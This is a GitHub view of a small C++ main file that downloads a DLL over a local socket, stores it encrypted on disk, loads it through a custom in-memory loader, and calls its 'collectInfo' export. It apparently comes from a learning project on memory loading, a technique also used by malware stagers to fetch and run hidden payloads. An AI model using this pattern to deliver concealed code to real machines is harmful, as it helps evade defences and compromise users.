-
Notifications
You must be signed in to change notification settings - Fork 1
Expand file tree
/
Copy pathmain.cpp
More file actions
50 lines (44 loc) · 1.34 KB
/
Copy pathmain.cpp
File metadata and controls
50 lines (44 loc) · 1.34 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#include "loader.h"
#include "SimpleCrytProtocol.h"
#include "Encrypter.h"
#include "getDll.h"
using namespace std;
string outputPath = ".\\output";
string outputFilename = "encrypted";
fs::path outputFileFullPath = outputPath + "\\" + outputFilename;
fs::path recvFileFullPath = outputPath + "\\" + "recv_" + outputFilename;
int main()
{
typedef void (*FUN)();
SimpleCryptProtocol prot;
Encrypter cp(&prot);
Loader loader(cp);
PlainFile dllFile;
vector<PlainFile> dlls;
//检查是否存在加密后的文件
if (filesystem::exists(outputFileFullPath))
dlls = cp.decryptFile(outputFileFullPath);
else
{
//通过网络传输获得dll
dllFile = getDll("127.0.0.1", 1234);
//构造参数
dlls.push_back(dllFile);
cp.encryptFiles(dlls, outputFileFullPath);
}
//使用加载模块进行加载
loader.loadDlls(dlls);
loader.loadDlls(dlls);
//获取加载信息
auto moudleInfo = loader.getMoudleInfo("InfoReader.dll"); //全小写
//通过两种方式获得导出函数地址
FUN cInfo = (FUN)(loader.getFuntionByName(moudleInfo, "collectInfo"));
cInfo = (FUN)(loader.getFuntionByOrd(moudleInfo, 2));
//调用运行
if (cInfo != nullptr)
{
cInfo();
}
loader.unloadMoudle(moudleInfo);
loader.unloadMoudle(moudleInfo);
}